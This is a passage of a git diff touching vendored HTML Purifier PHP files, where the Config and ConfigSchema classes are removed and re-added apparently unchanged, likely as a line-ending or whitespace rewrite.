definition to create - * - * @return HTMLPurifier_CSSDefinition|HTMLPurifier_HTMLDefinition|HTMLPurifier_URIDefinition - * @throws HTMLPurifier_Exception - */ - private function initDefinition($type) - { - // quick checks failed, let's create the object - if ($type == 'HTML') { - $def = new HTMLPurifier_HTMLDefinition(); - } elseif ($type == 'CSS') { - $def = new HTMLPurifier_CSSDefinition(); - } elseif ($type == 'URI') { - $def = new HTMLPurifier_URIDefinition(); - } else { - throw new HTMLPurifier_Exception( - "Definition of $type type not supported" - ); - } - $this->definitions[$type] = $def; - return $def; - } - - public function maybeGetRawDefinition($name) - { - return $this->getDefinition($name, true, true); - } - - /** - * @return HTMLPurifier_HTMLDefinition|null - */ - public function maybeGetRawHTMLDefinition() - { - return $this->getDefinition('HTML', true, true); - } - - /** - * @return HTMLPurifier_CSSDefinition|null - */ - public function maybeGetRawCSSDefinition() - { - return $this->getDefinition('CSS', true, true); - } - - /** - * @return HTMLPurifier_URIDefinition|null - */ - public function maybeGetRawURIDefinition() - { - return $this->getDefinition('URI', true, true); - } - - /** - * Loads configuration values from an array with the following structure: - * Namespace.Directive => Value - * - * @param array $config_array Configuration associative array - */ - public function loadArray($config_array) - { - if ($this->isFinalized('Cannot load directives after finalization')) { - return; - } - foreach ($config_array as $key => $value) { - $key = str_replace('_', '.', $key); - if (strpos($key, '.') !== false) { - $this->set($key, $value); - } else { - $namespace = $key; - $namespace_values = $value; - foreach ($namespace_values as $directive => $value2) { - $this->set($namespace .'.'. $directive, $value2); - } - } - } - } - - /** - * Returns a list of array(namespace, directive) for all directives - * that are allowed in a web-form context as per an allowed - * namespaces/directives list. - * - * @param array $allowed List of allowed namespaces/directives - * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy - * - * @return array - */ - public static function getAllowedDirectivesForForm($allowed, $schema = null) - { - if (!$schema) { - $schema = HTMLPurifier_ConfigSchema::instance(); - } - if ($allowed !== true) { - if (is_string($allowed)) { - $allowed = array($allowed); - } - $allowed_ns = array(); - $allowed_directives = array(); - $blacklisted_directives = array(); - foreach ($allowed as $ns_or_directive) { - if (strpos($ns_or_directive, '.') !== false) { - // directive - if ($ns_or_directive[0] == '-') { - $blacklisted_directives[substr($ns_or_directive, 1)] = true; - } else { - $allowed_directives[$ns_or_directive] = true; - } - } else { - // namespace - $allowed_ns[$ns_or_directive] = true; - } - } - } - $ret = array(); - foreach ($schema->info as $key => $def) { - list($ns, $directive) = explode('.', $key, 2); - if ($allowed !== true) { - if (isset($blacklisted_directives["$ns.$directive"])) { - continue; - } - if (!isset($allowed_directives["$ns.$directive"]) && !isset($allowed_ns[$ns])) { - continue; - } - } - if (isset($def->isAlias)) { - continue; - } - if ($directive == 'DefinitionID' || $directive == 'DefinitionRev') { - continue; - } - $ret[] = array($ns, $directive); - } - return $ret; - } - - /** - * Loads configuration values from $_GET/$_POST that were posted - * via ConfigForm - * - * @param array $array $_GET or $_POST array to import - * @param string|bool $index Index/name that the config variables are in - * @param array|bool $allowed List of allowed namespaces/directives - * @param bool $mq_fix Boolean whether or not to enable magic quotes fix - * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy - * - * @return mixed - */ - public static function loadArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) - { - $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $schema); - $config = HTMLPurifier_Config::create($ret, $schema); - return $config; - } - - /** - * Merges in configuration values from $_GET/$_POST to object. NOT STATIC. - * - * @param array $array $_GET or $_POST array to import - * @param string|bool $index Index/name that the config variables are in - * @param array|bool $allowed List of allowed namespaces/directives - * @param bool $mq_fix Boolean whether or not to enable magic quotes fix - */ - public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true) - { - $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $this->def); - $this->loadArray($ret); - } - - /** - * Prepares an array from a form into something usable for the more - * strict parts of HTMLPurifier_Config - * - * @param array $array $_GET or $_POST array to import - * @param string|bool $index Index/name that the config variables are in - * @param array|bool $allowed List of allowed namespaces/directives - * @param bool $mq_fix Boolean whether or not to enable magic quotes fix - * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy - * - * @return array - */ - public static function prepareArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) - { - if ($index !== false) { - $array = (isset($array[$index]) && is_array($array[$index])) ? $array[$index] : array(); - } - $mq = $mq_fix && function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc(); - - $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $schema); - $ret = array(); - foreach ($allowed as $key) { - list($ns, $directive) = $key; - $skey = "$ns.$directive"; - if (!empty($array["Null_$skey"])) { - $ret[$ns][$directive] = null; - continue; - } - if (!isset($array[$skey])) { - continue; - } - $value = $mq ? stripslashes($array[$skey]) : $array[$skey]; - $ret[$ns][$directive] = $value; - } - return $ret; - } - - /** - * Loads configuration values from an ini file - * - * @param string $filename Name of ini file - */ - public function loadIni($filename) - { - if ($this->isFinalized('Cannot load directives after finalization')) { - return; - } - $array = parse_ini_file($filename, true); - $this->loadArray($array); - } - - /** - * Checks whether or not the configuration object is finalized. - * - * @param string|bool $error String error message, or false for no error - * - * @return bool - */ - public function isFinalized($error = false) - { - if ($this->finalized && $error) { - $this->triggerError($error, E_USER_ERROR); - } - return $this->finalized; - } - - /** - * Finalizes configuration only if auto finalize is on and not - * already finalized - */ - public function autoFinalize() - { - if ($this->autoFinalize) { - $this->finalize(); - } else { - $this->plist->squash(true); - } - } - - /** - * Finalizes a configuration object, prohibiting further change - */ - public function finalize() - { - $this->finalized = true; - $this->parser = null; - } - - /** - * Produces a nicely formatted error message by supplying the - * stack frame information OUTSIDE of HTMLPurifier_Config. - * - * @param string $msg An error message - * @param int $no An error number - */ - protected function triggerError($msg, $no) - { - // determine previous stack frame - $extra = ''; - if ($this->chatty) { - $trace = debug_backtrace(); - // zip(tail(trace), trace) -- but PHP is not Haskell har har - for ($i = 0, $c = count($trace); $i < $c - 1; $i++) { - // XXX this is not correct on some versions of HTML Purifier - if (isset($trace[$i + 1]['class']) && $trace[$i + 1]['class'] === 'HTMLPurifier_Config') { - continue; - } - $frame = $trace[$i]; - $extra = " invoked on line {$frame['line']} in file {$frame['file']}"; - break; - } - } - trigger_error($msg . $extra, $no); - } - - /** - * Returns a serialized form of the configuration object that can - * be reconstituted. - * - * @return string - */ - public function serialize() - { - $this->getDefinition('HTML'); - $this->getDefinition('CSS'); - $this->getDefinition('URI'); - return serialize($this); - } - -} - -// vim: et sw=4 sts=4 +defaultPlist; + $this->plist = new HTMLPurifier_PropertyList($parent); + $this->def = $definition; // keep a copy around for checking + $this->parser = new HTMLPurifier_VarParser_Flexible(); + } + + /** + * Convenience constructor that creates a config object based on a mixed var + * @param mixed $config Variable that defines the state of the config + * object. Can be: a HTMLPurifier_Config() object, + * an array of directives based on loadArray(), + * or a string filename of an ini file. + * @param HTMLPurifier_ConfigSchema $schema Schema object + * @return HTMLPurifier_Config Configured object + */ + public static function create($config, $schema = null) + { + if ($config instanceof HTMLPurifier_Config) { + // pass-through + return $config; + } + if (!$schema) { + $ret = HTMLPurifier_Config::createDefault(); + } else { + $ret = new HTMLPurifier_Config($schema); + } + if (is_string($config)) { + $ret->loadIni($config); + } elseif (is_array($config)) $ret->loadArray($config); + return $ret; + } + + /** + * Creates a new config object that inherits from a previous one. + * @param HTMLPurifier_Config $config Configuration object to inherit from. + * @return HTMLPurifier_Config object with $config as its parent. + */ + public static function inherit(HTMLPurifier_Config $config) + { + return new HTMLPurifier_Config($config->def, $config->plist); + } + + /** + * Convenience constructor that creates a default configuration object. + * @return HTMLPurifier_Config default object. + */ + public static function createDefault() + { + $definition = HTMLPurifier_ConfigSchema::instance(); + $config = new HTMLPurifier_Config($definition); + return $config; + } + + /** + * Retrieves a value from the configuration. + * + * @param string $key String key + * @param mixed $a + * + * @return mixed + */ + public function get($key, $a = null) + { + if ($a !== null) { + $this->triggerError( + "Using deprecated API: use \$config->get('$key.$a') instead", + E_USER_WARNING + ); + $key = "$key.$a"; + } + if (!$this->finalized) { + $this->autoFinalize(); + } + if (!isset($this->def->info[$key])) { + // can't add % due to SimpleTest bug + $this->triggerError( + 'Cannot retrieve value of undefined directive ' . htmlspecialchars($key), + E_USER_WARNING + ); + return; + } + if (isset($this->def->info[$key]->isAlias)) { + $d = $this->def->info[$key]; + $this->triggerError( + 'Cannot get value from aliased directive, use real name ' . $d->key, + E_USER_ERROR + ); + return; + } + if ($this->lock) { + list($ns) = explode('.', $key); + if ($ns !== $this->lock) { + $this->triggerError( + 'Cannot get value of namespace ' . $ns . ' when lock for ' . + $this->lock . + ' is active, this probably indicates a Definition setup method ' . + 'is accessing directives that are not within its namespace', + E_USER_ERROR + ); + return; + } + } + return $this->plist->get($key); + } + + /** + * Retrieves an array of directives to values from a given namespace + * + * @param string $namespace String namespace + * + * @return array + */ + public function getBatch($namespace) + { + if (!$this->finalized) { + $this->autoFinalize(); + } + $full = $this->getAll(); + if (!isset($full[$namespace])) { + $this->triggerError( + 'Cannot retrieve undefined namespace ' . + htmlspecialchars($namespace), + E_USER_WARNING + ); + return; + } + return $full[$namespace]; + } + + /** + * Returns a SHA-1 signature of a segment of the configuration object + * that uniquely identifies that particular configuration + * + * @param string $namespace Namespace to get serial for + * + * @return string + * @note Revision is handled specially and is removed from the batch + * before processing! + */ + public function getBatchSerial($namespace) + { + if (empty($this->serials[$namespace])) { + $batch = $this->getBatch($namespace); + unset($batch['DefinitionRev']); + $this->serials[$namespace] = sha1(serialize($batch)); + } + return $this->serials[$namespace]; + } + + /** + * Returns a SHA-1 signature for the entire configuration object + * that uniquely identifies that particular configuration + * + * @return string + */ + public function getSerial() + { + if (empty($this->serial)) { + $this->serial = sha1(serialize($this->getAll())); + } + return $this->serial; + } + + /** + * Retrieves all directives, organized by namespace + * + * @warning This is a pretty inefficient function, avoid if you can + */ + public function getAll() + { + if (!$this->finalized) { + $this->autoFinalize(); + } + $ret = array(); + foreach ($this->plist->squash() as $name => $value) { + list($ns, $key) = explode('.', $name, 2); + $ret[$ns][$key] = $value; + } + return $ret; + } + + /** + * Sets a value to configuration. + * + * @param string $key key + * @param mixed $value value + * @param mixed $a + */ + public function set($key, $value, $a = null) + { + if (strpos($key, '.') === false) { + $namespace = $key; + $directive = $value; + $value = $a; + $key = "$key.$directive"; + $this->triggerError("Using deprecated API: use \$config->set('$key', ...) instead", E_USER_NOTICE); + } else { + list($namespace) = explode('.', $key); + } + if ($this->isFinalized('Cannot set directive after finalization')) { + return; + } + if (!isset($this->def->info[$key])) { + $this->triggerError( + 'Cannot set undefined directive ' . htmlspecialchars($key) . ' to value', + E_USER_WARNING + ); + return; + } + $def = $this->def->info[$key]; + + if (isset($def->isAlias)) { + if ($this->aliasMode) { + $this->triggerError( + 'Double-aliases not allowed, please fix '. + 'ConfigSchema bug with' . $key, + E_USER_ERROR + ); + return; + } + $this->aliasMode = true; + $this->set($def->key, $value); + $this->aliasMode = false; + $this->triggerError("$key is an alias, preferred directive name is {$def->key}", E_USER_NOTICE); + return; + } + + // Raw type might be negative when using the fully optimized form + // of stdClass, which indicates allow_null == true + $rtype = is_int($def) ? $def : $def->type; + if ($rtype < 0) { + $type = -$rtype; + $allow_null = true; + } else { + $type = $rtype; + $allow_null = isset($def->allow_null); + } + + try { + $value = $this->parser->parse($value, $type, $allow_null); + } catch (HTMLPurifier_VarParserException $e) { + $this->triggerError( + 'Value for ' . $key . ' is of invalid type, should be ' . + HTMLPurifier_VarParser::getTypeName($type), + E_USER_WARNING + ); + return; + } + if (is_string($value) && is_object($def)) { + // resolve value alias if defined + if (isset($def->aliases[$value])) { + $value = $def->aliases[$value]; + } + // check to see if the value is allowed + if (isset($def->allowed) && !isset($def->allowed[$value])) { + $this->triggerError( + 'Value not supported, valid values are: ' . + $this->_listify($def->allowed), + E_USER_WARNING + ); + return; + } + } + $this->plist->set($key, $value); + + // reset definitions if the directives they depend on changed + // this is a very costly process, so it's discouraged + // with finalization + if ($namespace == 'HTML' || $namespace == 'CSS' || $namespace == 'URI') { + $this->definitions[$namespace] = null; + } + + $this->serials[$namespace] = false; + } + + /** + * Convenience function for error reporting + * + * @param array $lookup + * + * @return string + */ + private function _listify($lookup) + { + $list = array(); + foreach ($lookup as $name => $b) { + $list[] = $name; + } + return implode(', ', $list); + } + + /** + * Retrieves object reference to the HTML definition. + * + * @param bool $raw Return a copy that has not been setup yet. Must be + * called before it's been setup, otherwise won't work. + * @param bool $optimized If true, this method may return null, to + * indicate that a cached version of the modified + * definition object is available and no further edits + * are necessary. Consider using + * maybeGetRawHTMLDefinition, which is more explicitly + * named, instead. + * + * @return HTMLPurifier_HTMLDefinition|null + */ + public function getHTMLDefinition($raw = false, $optimized = false) + { + return $this->getDefinition('HTML', $raw, $optimized); + } + + /** + * Retrieves object reference to the CSS definition + * + * @param bool $raw Return a copy that has not been setup yet. Must be + * called before it's been setup, otherwise won't work. + * @param bool $optimized If true, this method may return null, to + * indicate that a cached version of the modified + * definition object is available and no further edits + * are necessary. Consider using + * maybeGetRawCSSDefinition, which is more explicitly + * named, instead. + * + * @return HTMLPurifier_CSSDefinition|null + */ + public function getCSSDefinition($raw = false, $optimized = false) + { + return $this->getDefinition('CSS', $raw, $optimized); + } + + /** + * Retrieves object reference to the URI definition + * + * @param bool $raw Return a copy that has not been setup yet. Must be + * called before it's been setup, otherwise won't work. + * @param bool $optimized If true, this method may return null, to + * indicate that a cached version of the modified + * definition object is available and no further edits + * are necessary. Consider using + * maybeGetRawURIDefinition, which is more explicitly + * named, instead. + * + * @return HTMLPurifier_URIDefinition|null + */ + public function getURIDefinition($raw = false, $optimized = false) + { + return $this->getDefinition('URI', $raw, $optimized); + } + + /** + * Retrieves a definition + * + * @param string $type Type of definition: HTML, CSS, etc + * @param bool $raw Whether or not definition should be returned raw + * @param bool $optimized Only has an effect when $raw is true. Whether + * or not to return null if the result is already present in + * the cache. This is off by default for backwards + * compatibility reasons, but you need to do things this + * way in order to ensure that caching is done properly. + * Check out enduser-customize.html for more details. + * We probably won't ever change this default, as much as the + * maybe semantics is the "right thing to do." + * + * @throws HTMLPurifier_Exception + * @return HTMLPurifier_Definition|null + */ + public function getDefinition($type, $raw = false, $optimized = false) + { + if ($optimized && !$raw) { + throw new HTMLPurifier_Exception("Cannot set optimized = true when raw = false"); + } + if (!$this->finalized) { + $this->autoFinalize(); + } + // temporarily suspend locks, so we can handle recursive definition calls + $lock = $this->lock; + $this->lock = null; + $factory = HTMLPurifier_DefinitionCacheFactory::instance(); + $cache = $factory->create($type, $this); + $this->lock = $lock; + if (!$raw) { + // full definition + // --------------- + // check if definition is in memory + if (!empty($this->definitions[$type])) { + $def = $this->definitions[$type]; + // check if the definition is setup + if ($def->setup) { + return $def; + } else { + $def->setup($this); + if ($def->optimized) { + $cache->add($def, $this); + } + return $def; + } + } + // check if definition is in cache + $def = $cache->get($this); + if ($def) { + // definition in cache, save to memory and return it + $this->definitions[$type] = $def; + return $def; + } + // initialize it + $def = $this->initDefinition($type); + // set it up + $this->lock = $type; + $def->setup($this); + $this->lock = null; + // save in cache + $cache->add($def, $this); + // return it + return $def; + } else { + // raw definition + // -------------- + // check preconditions + $def = null; + if ($optimized) { + if (is_null($this->get($type . '.DefinitionID'))) { + // fatally error out if definition ID not set + throw new HTMLPurifier_Exception( + "Cannot retrieve raw version without specifying %$type.DefinitionID" + ); + } + } + if (!empty($this->definitions[$type])) { + $def = $this->definitions[$type]; + if ($def->setup && !$optimized) { + $extra = $this->chatty ? + " (try moving this code block earlier in your initialization)" : + ""; + throw new HTMLPurifier_Exception( + "Cannot retrieve raw definition after it has already been setup" . + $extra + ); + } + if ($def->optimized === null) { + $extra = $this->chatty ? " (try flushing your cache)" : ""; + throw new HTMLPurifier_Exception( + "Optimization status of definition is unknown" . $extra + ); + } + if ($def->optimized !== $optimized) { + $msg = $optimized ? "optimized" : "unoptimized"; + $extra = $this->chatty ? + " (this backtrace is for the first inconsistent call, which was for a $msg raw definition)" + : ""; + throw new HTMLPurifier_Exception( + "Inconsistent use of optimized and unoptimized raw definition retrievals" . $extra + ); + } + } + // check if definition was in memory + if ($def) { + if ($def->setup) { + // invariant: $optimized === true (checked above) + return null; + } else { + return $def; + } + } + // if optimized, check if definition was in cache + // (because we do the memory check first, this formulation + // is prone to cache slamming, but I think + // guaranteeing that either /all/ of the raw + // setup code or /none/ of it is run is more important.) + if ($optimized) { + // This code path only gets run once; once we put + // something in $definitions (which is guaranteed by the + // trailing code), we always short-circuit above. + $def = $cache->get($this); + if ($def) { + // save the full definition for later, but don't + // return it yet + $this->definitions[$type] = $def; + return null; + } + } + // check invariants for creation + if (!$optimized) { + if (!is_null($this->get($type . '.DefinitionID'))) { + if ($this->chatty) { + $this->triggerError( + 'Due to a documentation error in previous version of HTML Purifier, your ' . + 'definitions are not being cached. If this is OK, you can remove the ' . + '%$type.DefinitionRev and %$type.DefinitionID declaration. Otherwise, ' . + 'modify your code to use maybeGetRawDefinition, and test if the returned ' . + 'value is null before making any edits (if it is null, that means that a ' . + 'cached version is available, and no raw operations are necessary). See ' . + '' . + 'Customize for more details', + E_USER_WARNING + ); + } else { + $this->triggerError( + "Useless DefinitionID declaration", + E_USER_WARNING + ); + } + } + } + // initialize it + $def = $this->initDefinition($type); + $def->optimized = $optimized; + return $def; + } + throw new HTMLPurifier_Exception("The impossible happened!"); + } + + /** + * Initialise definition + * + * @param string $type What type of definition to create + * + * @return HTMLPurifier_CSSDefinition|HTMLPurifier_HTMLDefinition|HTMLPurifier_URIDefinition + * @throws HTMLPurifier_Exception + */ + private function initDefinition($type) + { + // quick checks failed, let's create the object + if ($type == 'HTML') { + $def = new HTMLPurifier_HTMLDefinition(); + } elseif ($type == 'CSS') { + $def = new HTMLPurifier_CSSDefinition(); + } elseif ($type == 'URI') { + $def = new HTMLPurifier_URIDefinition(); + } else { + throw new HTMLPurifier_Exception( + "Definition of $type type not supported" + ); + } + $this->definitions[$type] = $def; + return $def; + } + + public function maybeGetRawDefinition($name) + { + return $this->getDefinition($name, true, true); + } + + /** + * @return HTMLPurifier_HTMLDefinition|null + */ + public function maybeGetRawHTMLDefinition() + { + return $this->getDefinition('HTML', true, true); + } + + /** + * @return HTMLPurifier_CSSDefinition|null + */ + public function maybeGetRawCSSDefinition() + { + return $this->getDefinition('CSS', true, true); + } + + /** + * @return HTMLPurifier_URIDefinition|null + */ + public function maybeGetRawURIDefinition() + { + return $this->getDefinition('URI', true, true); + } + + /** + * Loads configuration values from an array with the following structure: + * Namespace.Directive => Value + * + * @param array $config_array Configuration associative array + */ + public function loadArray($config_array) + { + if ($this->isFinalized('Cannot load directives after finalization')) { + return; + } + foreach ($config_array as $key => $value) { + $key = str_replace('_', '.', $key); + if (strpos($key, '.') !== false) { + $this->set($key, $value); + } else { + $namespace = $key; + $namespace_values = $value; + foreach ($namespace_values as $directive => $value2) { + $this->set($namespace .'.'. $directive, $value2); + } + } + } + } + + /** + * Returns a list of array(namespace, directive) for all directives + * that are allowed in a web-form context as per an allowed + * namespaces/directives list. + * + * @param array $allowed List of allowed namespaces/directives + * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy + * + * @return array + */ + public static function getAllowedDirectivesForForm($allowed, $schema = null) + { + if (!$schema) { + $schema = HTMLPurifier_ConfigSchema::instance(); + } + if ($allowed !== true) { + if (is_string($allowed)) { + $allowed = array($allowed); + } + $allowed_ns = array(); + $allowed_directives = array(); + $blacklisted_directives = array(); + foreach ($allowed as $ns_or_directive) { + if (strpos($ns_or_directive, '.') !== false) { + // directive + if ($ns_or_directive[0] == '-') { + $blacklisted_directives[substr($ns_or_directive, 1)] = true; + } else { + $allowed_directives[$ns_or_directive] = true; + } + } else { + // namespace + $allowed_ns[$ns_or_directive] = true; + } + } + } + $ret = array(); + foreach ($schema->info as $key => $def) { + list($ns, $directive) = explode('.', $key, 2); + if ($allowed !== true) { + if (isset($blacklisted_directives["$ns.$directive"])) { + continue; + } + if (!isset($allowed_directives["$ns.$directive"]) && !isset($allowed_ns[$ns])) { + continue; + } + } + if (isset($def->isAlias)) { + continue; + } + if ($directive == 'DefinitionID' || $directive == 'DefinitionRev') { + continue; + } + $ret[] = array($ns, $directive); + } + return $ret; + } + + /** + * Loads configuration values from $_GET/$_POST that were posted + * via ConfigForm + * + * @param array $array $_GET or $_POST array to import + * @param string|bool $index Index/name that the config variables are in + * @param array|bool $allowed List of allowed namespaces/directives + * @param bool $mq_fix Boolean whether or not to enable magic quotes fix + * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy + * + * @return mixed + */ + public static function loadArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) + { + $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $schema); + $config = HTMLPurifier_Config::create($ret, $schema); + return $config; + } + + /** + * Merges in configuration values from $_GET/$_POST to object. NOT STATIC. + * + * @param array $array $_GET or $_POST array to import + * @param string|bool $index Index/name that the config variables are in + * @param array|bool $allowed List of allowed namespaces/directives + * @param bool $mq_fix Boolean whether or not to enable magic quotes fix + */ + public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true) + { + $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $this->def); + $this->loadArray($ret); + } + + /** + * Prepares an array from a form into something usable for the more + * strict parts of HTMLPurifier_Config + * + * @param array $array $_GET or $_POST array to import + * @param string|bool $index Index/name that the config variables are in + * @param array|bool $allowed List of allowed namespaces/directives + * @param bool $mq_fix Boolean whether or not to enable magic quotes fix + * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy + * + * @return array + */ + public static function prepareArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) + { + if ($index !== false) { + $array = (isset($array[$index]) && is_array($array[$index])) ? $array[$index] : array(); + } + $mq = $mq_fix && function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc(); + + $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $schema); + $ret = array(); + foreach ($allowed as $key) { + list($ns, $directive) = $key; + $skey = "$ns.$directive"; + if (!empty($array["Null_$skey"])) { + $ret[$ns][$directive] = null; + continue; + } + if (!isset($array[$skey])) { + continue; + } + $value = $mq ? stripslashes($array[$skey]) : $array[$skey]; + $ret[$ns][$directive] = $value; + } + return $ret; + } + + /** + * Loads configuration values from an ini file + * + * @param string $filename Name of ini file + */ + public function loadIni($filename) + { + if ($this->isFinalized('Cannot load directives after finalization')) { + return; + } + $array = parse_ini_file($filename, true); + $this->loadArray($array); + } + + /** + * Checks whether or not the configuration object is finalized. + * + * @param string|bool $error String error message, or false for no error + * + * @return bool + */ + public function isFinalized($error = false) + { + if ($this->finalized && $error) { + $this->triggerError($error, E_USER_ERROR); + } + return $this->finalized; + } + + /** + * Finalizes configuration only if auto finalize is on and not + * already finalized + */ + public function autoFinalize() + { + if ($this->autoFinalize) { + $this->finalize(); + } else { + $this->plist->squash(true); + } + } + + /** + * Finalizes a configuration object, prohibiting further change + */ + public function finalize() + { + $this->finalized = true; + $this->parser = null; + } + + /** + * Produces a nicely formatted error message by supplying the + * stack frame information OUTSIDE of HTMLPurifier_Config. + * + * @param string $msg An error message + * @param int $no An error number + */ + protected function triggerError($msg, $no) + { + // determine previous stack frame + $extra = ''; + if ($this->chatty) { + $trace = debug_backtrace(); + // zip(tail(trace), trace) -- but PHP is not Haskell har har + for ($i = 0, $c = count($trace); $i < $c - 1; $i++) { + // XXX this is not correct on some versions of HTML Purifier + if (isset($trace[$i + 1]['class']) && $trace[$i + 1]['class'] === 'HTMLPurifier_Config') { + continue; + } + $frame = $trace[$i]; + $extra = " invoked on line {$frame['line']} in file {$frame['file']}"; + break; + } + } + trigger_error($msg . $extra, $no); + } + + /** + * Returns a serialized form of the configuration object that can + * be reconstituted. + * + * @return string + */ + public function serialize() + { + $this->getDefinition('HTML'); + $this->getDefinition('CSS'); + $this->getDefinition('URI'); + return serialize($this); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php index 446cdf3204..c3fe8cd4ab 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php @@ -1,176 +1,176 @@ - array( - * 'Directive' => new stdClass(), - * ) - * ) - * - * The stdClass may have the following properties: - * - * - If isAlias isn't set: - * - type: Integer type of directive, see HTMLPurifier_VarParser for definitions - * - allow_null: If set, this directive allows null values - * - aliases: If set, an associative array of value aliases to real values - * - allowed: If set, a lookup array of allowed (string) values - * - If isAlias is set: - * - namespace: Namespace this directive aliases to - * - name: Directive name this directive aliases to - * - * In certain degenerate cases, stdClass will actually be an integer. In - * that case, the value is equivalent to an stdClass with the type - * property set to the integer. If the integer is negative, type is - * equal to the absolute value of integer, and allow_null is true. - * - * This class is friendly with HTMLPurifier_Config. If you need introspection - * about the schema, you're better of using the ConfigSchema_Interchange, - * which uses more memory but has much richer information. - * @type array - */ - public $info = array(); - - /** - * Application-wide singleton - * @type HTMLPurifier_ConfigSchema - */ - protected static $singleton; - - public function __construct() - { - $this->defaultPlist = new HTMLPurifier_PropertyList(); - } - - /** - * Unserializes the default ConfigSchema. - * @return HTMLPurifier_ConfigSchema - */ - public static function makeFromSerial() - { - $contents = file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema.ser'); - $r = unserialize($contents); - if (!$r) { - $hash = sha1($contents); - trigger_error("Unserialization of configuration schema failed, sha1 of file was $hash", E_USER_ERROR); - } - return $r; - } - - /** - * Retrieves an instance of the application-wide configuration definition. - * @param HTMLPurifier_ConfigSchema $prototype - * @return HTMLPurifier_ConfigSchema - */ - public static function instance($prototype = null) - { - if ($prototype !== null) { - HTMLPurifier_ConfigSchema::$singleton = $prototype; - } elseif (HTMLPurifier_ConfigSchema::$singleton === null || $prototype === true) { - HTMLPurifier_ConfigSchema::$singleton = HTMLPurifier_ConfigSchema::makeFromSerial(); - } - return HTMLPurifier_ConfigSchema::$singleton; - } - - /** - * Defines a directive for configuration - * @warning Will fail of directive's namespace is defined. - * @warning This method's signature is slightly different from the legacy - * define() static method! Beware! - * @param string $key Name of directive - * @param mixed $default Default value of directive - * @param string $type Allowed type of the directive. See - * HTMLPurifier_VarParser::$types for allowed values - * @param bool $allow_null Whether or not to allow null values - */ - public function add($key, $default, $type, $allow_null) - { - $obj = new stdClass(); - $obj->type = is_int($type) ? $type : HTMLPurifier_VarParser::$types[$type]; - if ($allow_null) { - $obj->allow_null = true; - } - $this->info[$key] = $obj; - $this->defaults[$key] = $default; - $this->defaultPlist->set($key, $default); - } - - /** - * Defines a directive value alias. - * - * Directive value aliases are convenient for developers because it lets - * them set a directive to several values and get the same result. - * @param string $key Name of Directive - * @param array $aliases Hash of aliased values to the real alias - */ - public function addValueAliases($key, $aliases) - { - if (!isset($this->info[$key]->aliases)) { - $this->info[$key]->aliases = array(); - } - foreach ($aliases as $alias => $real) { - $this->info[$key]->aliases[$alias] = $real; - } - } - - /** - * Defines a set of allowed values for a directive. - * @warning This is slightly different from the corresponding static - * method definition. - * @param string $key Name of directive - * @param array $allowed Lookup array of allowed values - */ - public function addAllowedValues($key, $allowed) - { - $this->info[$key]->allowed = $allowed; - } - - /** - * Defines a directive alias for backwards compatibility - * @param string $key Directive that will be aliased - * @param string $new_key Directive that the alias will be to - */ - public function addAlias($key, $new_key) - { - $obj = new stdClass; - $obj->key = $new_key; - $obj->isAlias = true; - $this->info[$key] = $obj; - } - - /** - * Replaces any stdClass that only has the type property with type integer. - */ - public function postProcess() - { - foreach ($this->info as $key => $v) { - if (count((array) $v) == 1) { - $this->info[$key] = $v->type; - } elseif (count((array) $v) == 2 && isset($v->allow_null)) { - $this->info[$key] = -$v->type; - } - } - } -} - -// vim: et sw=4 sts=4 + array( + * 'Directive' => new stdClass(), + * ) + * ) + * + * The stdClass may have the following properties: + * + * - If isAlias isn't set: + * - type: Integer type of directive, see HTMLPurifier_VarParser for definitions + * - allow_null: If set, this directive allows null values + * - aliases: If set, an associative array of value aliases to real values + * - allowed: If set, a lookup array of allowed (string) values + * - If isAlias is set: + * - namespace: Namespace this directive aliases to + * - name: Directive name this directive aliases to + * + * In certain degenerate cases, stdClass will actually be an integer. In + * that case, the value is equivalent to an stdClass with the type + * property set to the integer. If the integer is negative, type is + * equal to the absolute value of integer, and allow_null is true. + * + * This class is friendly with HTMLPurifier_Config. If you need introspection + * about the schema, you're better of using the ConfigSchema_Interchange, + * which uses more memory but has much richer information. + * @type array + */ + public $info = array(); + + /** + * Application-wide singleton + * @type HTMLPurifier_ConfigSchema + */ + protected static $singleton; + + public function __construct() + { + $this->defaultPlist = new HTMLPurifier_PropertyList(); + } + + /** + * Unserializes the default ConfigSchema. + * @return HTMLPurifier_ConfigSchema + */ + public static function makeFromSerial() + { + $contents = file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema.ser'); + $r = unserialize($contents); + if (!$r) { + $hash = sha1($contents); + trigger_error("Unserialization of configuration schema failed, sha1 of file was $hash", E_USER_ERROR); + } + return $r; + } + + /** + * Retrieves an instance of the application-wide configuration definition. + * @param HTMLPurifier_ConfigSchema $prototype + * @return HTMLPurifier_ConfigSchema + */ + public static function instance($prototype = null) + { + if ($prototype !== null) { + HTMLPurifier_ConfigSchema::$singleton = $prototype; + } elseif (HTMLPurifier_ConfigSchema::$singleton 